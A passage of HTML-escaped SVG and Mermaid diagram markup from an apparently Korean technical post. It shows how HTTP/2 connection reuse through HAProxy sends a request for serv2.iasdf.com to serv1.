024.013-.023.012-.023.01-.023.01-.022.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.127l-.077.055-.08.053-.083.054-.085.053-.087.052-.09.052-.093.051-.095.05-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.045-.118.044-.12.043-.122.042-.124.042-.126.041-.128.04-.13.04-.132.038-.134.038-.135.037-.138.037-.139.035-.142.035-.143.034-.144.033-.147.032-.148.031-.15.03-.151.03-.153.029-.154.027-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.01-.179.008-.179.008-.181.006-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.006-.179-.008-.179-.008-.178-.01-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.027-.153-.029-.151-.03-.15-.03-.148-.031-.146-.032-.145-.033-.143-.034-.141-.035-.14-.035-.137-.037-.136-.037-.134-.038-.132-.038-.13-.04-.128-.04-.126-.041-.124-.042-.122-.042-.12-.044-.117-.043-.116-.045-.113-.045-.112-.046-.109-.047-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.05-.093-.052-.09-.051-.087-.052-.085-.053-.083-.054-.08-.054-.077-.054v4.127zm0-5.654v.011l.001.021.003.021.004.021.005.022.006.022.007.022.009.022.01.022.011.023.012.023.013.023.015.024.016.023.017.024.018.024.019.024.021.024.022.024.023.025.024.024.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.052.11.051.114.051.119.052.123.05.127.051.131.05.135.049.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.044.171.042.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.022.23.02.233.018.236.016.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.012.241-.015.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.048.139-.05.136-.049.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.051.051-.049.023-.025.023-.024.021-.025.02-.024.019-.024.018-.024.017-.024.015-.023.014-.023.013-.024.012-.022.01-.023.01-.023.008-.022.006-.022.006-.022.004-.021.004-.022.001-.021.001-.021v-4.139l-.077.054-.08.054-.083.054-.085.052-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.044-.118.044-.12.044-.122.042-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.035-.143.033-.144.033-.147.033-.148.031-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.009-.179.009-.179.007-.181.007-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.007-.179-.007-.179-.009-.178-.009-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.031-.146-.033-.145-.033-.143-.033-.141-.035-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.04-.126-.041-.124-.042-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.051-.093-.051-.09-.051-.087-.053-.085-.052-.083-.054-.08-.054-.077-.054v4.139zm0-5.666v.011l.001.02.003.022.004.021.005.022.006.021.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.024.018.023.019.024.021.025.022.024.023.024.024.025.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.051.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.043.171.043.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.021.23.02.233.018.236.017.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.013.241-.014.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.049.139-.049.136-.049.131-.051.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.049.023-.025.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.022.01-.023.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.153l-.077.054-.08.054-.083.053-.085.053-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.048-.105.048-.106.048-.109.046-.111.046-.114.046-.115.044-.118.044-.12.043-.122.043-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.034-.143.034-.144.033-.147.032-.148.032-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.024-.161.024-.162.023-.163.023-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.01-.178.01-.179.009-.179.007-.181.006-.182.006-.182.004-.184.003-.184.001-.185.001-.185-.001-.184-.001-.184-.003-.182-.004-.182-.006-.181-.006-.179-.007-.179-.009-.178-.01-.176-.01-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.023-.162-.023-.161-.024-.159-.024-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.032-.146-.032-.145-.033-.143-.034-.141-.034-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.041-.126-.041-.124-.041-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.048-.105-.048-.102-.048-.1-.05-.097-.049-.095-.051-.093-.051-.09-.052-.087-.052-.085-.053-.083-.053-.08-.054-.077-.054v4.153zm8.74-8.179l-.257.004-.254.005-.25.008-.247.011-.244.012-.241.014-.237.016-.233.018-.231.021-.226.022-.224.023-.22.026-.216.027-.212.028-.21.031-.205.032-.202.033-.198.034-.194.036-.191.038-.187.038-.183.04-.179.041-.175.042-.172.043-.168.043-.163.045-.16.046-.155.046-.152.048-.148.048-.143.048-.139.049-.136.05-.131.05-.126.051-.123.051-.118.051-.114.052-.11.052-.106.052-.101.052-.096.052-.092.052-.088.052-.083.052-.079.052-.074.051-.07.052-.065.051-.06.05-.056.05-.051.05-.023.025-.023.024-.021.024-.02.025-.019.024-.018.024-.017.023-.015.024-.014.023-.013.023-.012.023-.01.023-.01.022-.008.022-.006.023-.006.021-.004.022-.004.021-.001.021-.001.021.001.021.001.021.004.021.004.022.006.021.006.023.008.022.01.022.01.023.012.023.013.023.014.023.015.024.017.023.018.024.019.024.02.025.021.024.023.024.023.025.051.05.056.05.06.05.065.051.07.052.074.051.079.052.083.052.088.052.092.052.096.052.101.052.106.052.11.052.114.052.118.051.123.051.126.051.131.05.136.05.139.049.143.048.148.048.152.048.155.046.16.046.163.045.168.043.172.043.175.042.179.041.183.04.187.038.191.038.194.036.198.034.202.033.205.032.21.031.212.028.216.027.22.026.224.023.226.022.231.021.233.018.237.016.241.014.244.012.247.011.25.008.254.005.257.004.26.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.022.224-.023.22-.026.216-.027.212-.028.21-.031.205-.032.202-.033.198-.034.194-.036.191-.038.187-.038.183-.04.179-.041.175-.042.172-.043.168-.043.163-.045.16-.046.155-.046.152-.048.148-.048.143-.048.139-.049.136-.05.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.05.051-.05.023-.025.023-.024.021-.024.02-.025.019-.024.018-.024.017-.023.015-.024.014-.023.013-.023.012-.023.01-.023.01-.022.008-.022.006-.023.006-.021.004-.022.004-.021.001-.021.001-.021-.001-.021-.001-.021-.004-.021-.004-.022-.006-.021-.006-.023-.008-.022-.01-.022-.01-.023-.012-.023-.013-.023-.014-.023-.015-.024-.017-.023-.018-.024-.019-.024-.02-.025-.021-.024-.023-.024-.023-.025-.051-.05-.056-.05-.06-.05-.065-.051-.07-.052-.074-.051-.079-.052-.083-.052-.088-.052-.092-.052-.096-.052-.101-.052-.106-.052-.11-.052-.114-.052-.118-.051-.123-.051-.126-.051-.131-.05-.136-.05-.139-.049-.143-.048-.148-.048-.152-.048-.155-.046-.16-.046-.163-.045-.168-.043-.172-.043-.175-.042-.179-.041-.183-.04-.187-.038-.191-.038-.194-.036-.198-.034-.202-.033-.205-.032-.21-.031-.212-.028-.216-.027-.22-.026-.224-.023-.226-.022-.231-.021-.233-.018-.237-.016-.241-.014-.244-.012-.247-.011-.25-.008-.254-.005-.257-.004-.26-.001-.26.001z&quot; /&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;defs&gt;&lt;symbol id=&quot;clock&quot; width=&quot;24&quot; height=&quot;24&quot;&gt;&lt;path transform=&quot;scale(.5)&quot; d=&quot;M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm5.848 12.459c.202.038.202.333.001.372-1.907.361-6.045 1.111-6.547 1.111-.719 0-1.301-.582-1.301-1.301 0-.512.77-5.447 1.125-7.445.034-.192.312-.181.343.014l.985 6.238 5.394 1.011z&quot; /&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;defs&gt;&lt;marker id=&quot;arrowhead&quot; refX=&quot;7.9&quot; refY=&quot;5&quot; markerUnits=&quot;userSpaceOnUse&quot; markerWidth=&quot;12&quot; markerHeight=&quot;12&quot; orient=&quot;auto-start-reverse&quot;&gt;&lt;path d=&quot;M -1 0 L 10 5 L 0 10 z&quot; /&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;defs&gt;&lt;marker id=&quot;crosshead&quot; markerWidth=&quot;15&quot; markerHeight=&quot;8&quot; orient=&quot;auto&quot; refX=&quot;4&quot; refY=&quot;4.5&quot;&gt;&lt;path fill=&quot;none&quot; stroke=&quot;#000000&quot; stroke-width=&quot;1pt&quot; d=&quot;M 1,2 L 6,7 M 6,2 L 1,7&quot; style=&quot;stroke-dasharray: 0, 0;&quot; /&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;defs&gt;&lt;marker id=&quot;filled-head&quot; refX=&quot;15.5&quot; refY=&quot;7&quot; markerWidth=&quot;20&quot; markerHeight=&quot;28&quot; orient=&quot;auto&quot;&gt;&lt;path d=&quot;M 18,7 L9,13 L14,7 L9,1 Z&quot; /&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;defs&gt;&lt;marker id=&quot;sequencenumber&quot; refX=&quot;15&quot; refY=&quot;15&quot; markerWidth=&quot;60&quot; markerHeight=&quot;40&quot; orient=&quot;auto&quot;&gt;&lt;circle cx=&quot;15&quot; cy=&quot;15&quot; r=&quot;6&quot; /&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;g&gt;&lt;rect x=&quot;287&quot; y=&quot;109&quot; fill=&quot;#EDF2AE&quot; stroke=&quot;#666&quot; width=&quot;10&quot; height=&quot;220&quot; class=&quot;activation0&quot; /&gt;&lt;/g&gt;&lt;g&gt;&lt;rect x=&quot;287&quot; y=&quot;373&quot; fill=&quot;#EDF2AE&quot; stroke=&quot;#666&quot; width=&quot;10&quot; height=&quot;220&quot; class=&quot;activation0&quot; /&gt;&lt;/g&gt;&lt;text x=&quot;180&quot; y=&quot;80&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;tab1 - serv1.iasdf.com&lt;/text&gt;&lt;line x1=&quot;76&quot; y1=&quot;109&quot; x2=&quot;284&quot; y2=&quot;109&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;182&quot; y=&quot;124&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;tab1 - TLS HandShake&lt;/text&gt;&lt;line x1=&quot;76&quot; y1=&quot;153&quot; x2=&quot;287&quot; y2=&quot;153&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;405&quot; y=&quot;168&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;serv1.iasdf.com&lt;/text&gt;&lt;line x1=&quot;297&quot; y1=&quot;197&quot; x2=&quot;512&quot; y2=&quot;197&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;406&quot; y=&quot;212&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;serv1 - TLS HandShake&lt;/text&gt;&lt;line x1=&quot;297&quot; y1=&quot;241&quot; x2=&quot;515&quot; y2=&quot;241&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;408&quot; y=&quot;256&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;HTTP/2 200 OK&lt;/text&gt;&lt;line x1=&quot;515&quot; y1=&quot;285&quot; x2=&quot;300&quot; y2=&quot;285&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;183&quot; y=&quot;300&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;HTTP/2 200 OK&lt;/text&gt;&lt;line x1=&quot;287&quot; y1=&quot;329&quot; x2=&quot;79&quot; y2=&quot;329&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;180&quot; y=&quot;344&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;tab2 - serv2.iasdf.com&lt;/text&gt;&lt;line x1=&quot;76&quot; y1=&quot;373&quot; x2=&quot;284&quot; y2=&quot;373&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;182&quot; y=&quot;388&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;tab2 - TLS HandShake&lt;/text&gt;&lt;line x1=&quot;76&quot; y1=&quot;417&quot; x2=&quot;287&quot; y2=&quot;417&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;505&quot; y=&quot;432&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;serv2.iasdf.com&lt;/text&gt;&lt;line x1=&quot;297&quot; y1=&quot;461&quot; x2=&quot;712&quot; y2=&quot;461&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;506&quot; y=&quot;476&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;serv2 - TLS HandShake&lt;/text&gt;&lt;line x1=&quot;297&quot; y1=&quot;505&quot; x2=&quot;715&quot; y2=&quot;505&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;508&quot; y=&quot;520&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;HTTP/2 200 OK&lt;/text&gt;&lt;line x1=&quot;715&quot; y1=&quot;549&quot; x2=&quot;300&quot; y2=&quot;549&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;text x=&quot;183&quot; y=&quot;564&quot; text-anchor=&quot;middle&quot; dominant-baseline=&quot;middle&quot; alignment-baseline=&quot;middle&quot; class=&quot;messageText&quot; dy=&quot;1em&quot; style=&quot;font-size: 16px; font-weight: 400;&quot;&gt;HTTP/2 200 OK&lt;/text&gt;&lt;line x1=&quot;287&quot; y1=&quot;593&quot; x2=&quot;79&quot; y2=&quot;593&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;none&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;&lt;/svg&gt; &lt;hr /&gt; &lt;h3 id=&quot;current-action&quot;&gt;Current Action&lt;/h3&gt; &lt;p&gt;탭을 열어 serv1 접속 후, serv2 접속 시에도 serv1 커넥션을 재사용하여 serv1 서버로 요청된다. &lt;br /&gt; 이러한 문제로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt; 도메인으로 요청했으나 serv1 페이지가 응답된다.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-06-01-17-41-21.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;svg class=&quot;mermaid-svg&quot; id=&quot;mermaid-svg&quot; width=&quot;100%&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; style=&quot;max-width: 891px;&quot; viewBox=&quot;-50 -10 891 675&quot; role=&quot;graphics-document document&quot; aria-roledescription=&quot;sequence&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;&lt;style xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;@import url(&quot;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css&quot;);&lt;/style&gt;&lt;g&gt;&lt;rect x=&quot;641&quot; y=&quot;589&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;serv2&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-bottom&quot; /&gt;&lt;text x=&quot;716&quot; y=&quot;621.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;716&quot; dy=&quot;0&quot;&gt;serv2&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;g&gt;&lt;rect x=&quot;441&quot; y=&quot;589&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;serv1&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-bottom&quot; /&gt;&lt;text x=&quot;516&quot; y=&quot;621.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;516&quot; dy=&quot;0&quot;&gt;serv1&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;g&gt;&lt;rect x=&quot;217&quot; y=&quot;589&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;HAProxy&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-bottom&quot; /&gt;&lt;text x=&quot;292&quot; y=&quot;621.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;292&quot; dy=&quot;0&quot;&gt;HAProxy&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;g&gt;&lt;rect x=&quot;0&quot; y=&quot;589&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;Chrome&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-bottom&quot; /&gt;&lt;text x=&quot;75&quot; y=&quot;621.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;75&quot; dy=&quot;0&quot;&gt;Chrome&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;g&gt;&lt;line id=&quot;actor3&quot; x1=&quot;716&quot; y1=&quot;65&quot; x2=&quot;716&quot; y2=&quot;589&quot; class=&quot;actor-line 200&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; name=&quot;serv2&quot; /&gt;&lt;g id=&quot;root-3&quot;&gt;&lt;rect x=&quot;641&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;serv2&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-top&quot; /&gt;&lt;text x=&quot;716&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;716&quot; dy=&quot;0&quot;&gt;serv2&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;g&gt;&lt;line id=&quot;actor2&quot; x1=&quot;516&quot; y1=&quot;65&quot; x2=&quot;516&quot; y2=&quot;589&quot; class=&quot;actor-line 200&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; name=&quot;serv1&quot; /&gt;&lt;g id=&quot;root-2&quot;&gt;&lt;rect x=&quot;441&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;serv1&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-top&quot; /&gt;&lt;text x=&quot;516&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;516&quot; dy=&quot;0&quot;&gt;serv1&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;g&gt;&lt;line id=&quot;actor1&quot; x1=&quot;292&quot; y1=&quot;65&quot; x2=&quot;292&quot; y2=&quot;589&quot; class=&quot;actor-line 200&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; name=&quot;HAProxy&quot; /&gt;&lt;g id=&quot;root-1&quot;&gt;&lt;rect x=&quot;217&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;HAProxy&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-top&quot; /&gt;&lt;text x=&quot;292&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;292&quot; dy=&quot;0&quot;&gt;HAProxy&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;g&gt;&lt;line id=&quot;actor0&quot; x1=&quot;75&quot; y1=&quot;65&quot; x2=&quot;75&quot; y2=&quot;589&quot; class=&quot;actor-line 200&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; name=&quot;Chrome&quot; /&gt;&lt;g id=&quot;root-0&quot;&gt;&lt;rect x=&quot;0&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;Chrome&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-top&quot; /&gt;&lt;text x=&quot;75&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;75&quot; dy=&quot;0&quot;&gt;Chrome&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;style&gt;#mermaid-svg{font-family:&quot;trebuchet ms&quot;,verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg .error-icon{fill:#552222;}#mermaid-svg .error-text{fill:#552222;stroke:#552222;}#mermaid-svg .edge-thickness-normal{stroke-width:1px;}#mermaid-svg .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg .marker{fill:#333333;stroke:#333333;}#mermaid-svg .marker.cross{stroke:#333333;}#mermaid-svg svg{font-family:&quot;trebuchet ms&quot;,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg p{margin:0;}#mermaid-svg .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg text.actor&amp;gt;tspan{fill:black;stroke:none;}#mermaid-svg .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg .sequenceNumber{fill:white;}#mermaid-svg #sequencenumber{fill:#333;}#mermaid-svg #crosshead path{fill:#333;stroke:#333;}#mermaid-svg .messageText{fill:#333;stroke:none;}#mermaid-svg .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg .labelText,#mermaid-svg .labelText&amp;gt;tspan{fill:black;stroke:none;}#mermaid-svg .loopText,#mermaid-svg .loopText&amp;gt;tspan{fill:black;stroke:none;}#mermaid-svg 